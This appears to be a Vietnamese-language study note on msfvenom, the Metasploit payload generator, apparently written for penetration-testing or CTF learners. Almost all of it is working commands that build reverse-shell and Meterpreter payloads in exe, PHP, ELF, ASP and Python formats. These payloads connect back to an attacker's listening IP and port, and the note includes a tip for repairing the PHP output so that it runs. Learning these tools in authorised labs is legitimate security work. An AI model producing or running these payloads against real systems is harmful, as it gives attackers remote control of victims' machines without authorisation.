Introduction

Metasploit Framework Venom (msfvenom), là một tool độc lập của Metasploit và thường được dùng để tạo ra shell code dành cho reverse shell và bind shell1. Payload của nó có thể là exe, aspx, war hay py.

Các payload này tương tự với các payload mà ta thiết lập khi sử dụng một module, tuy nhiên ở đây ta tạo ra payload một cách riêng lẻ.

Commands

Liệt kê các loại payload:

msfvenom -l payloads

Việc chọn payload dựa trên ba yếu tố của target machine:

  • Hệ điều hành (Linux, Windows, etc).
  • Chương trình được cài đặt (Python, PHP, etc).
  • Kết nối mạng (TCP thô, chỉ được kết nối thông qua HTTPS, etc).

Cú pháp tạo payload:

msfvenom -p [payload] [options]

Ví dụ bên dưới tạo ra một Windows x64 reverse shell ở định dạng exe:

msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=[listen_IP] LPORT=[listen_port]

Minh họa:

Giải thích các option:

  • f: mô tả định dạng.
  • -o: mô tả tên và đường dẫn.
  • LHOST=[listen_IP]: mô tả địa chỉ IP mà reverse shell sẽ kết nối đến.
  • LPORT=[listen_port]: mô tả port mà reverse shell sẽ kết nối đến.

Một ví dụ khác:

msfvenom -p php/reverse_php LHOST=10.0.2.19 LPORT=7777 -f raw > reverse_shell.php

Chú ý, payload được tạo ra ở dạng PHP có thể không đúng cú pháp (dòng <?php bị comment và thiếu ?> ở cuối). Vì thế nhớ sửa lại sao cho hoạt động được.

Other Payloads

Một số payload khác sử dụng Meterpreter:

  • Linux Executable and Linkable Format, cần đảm bảo là nó có quyền thực thi ở target machine.

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf
  • Windows:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe
  • PHP:

    msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php
  • ASP:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp > rev_shell.asp
  • Python

    msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py

Tools

Resources

Footnotes

  1. Xem thêm Introduction to Shells.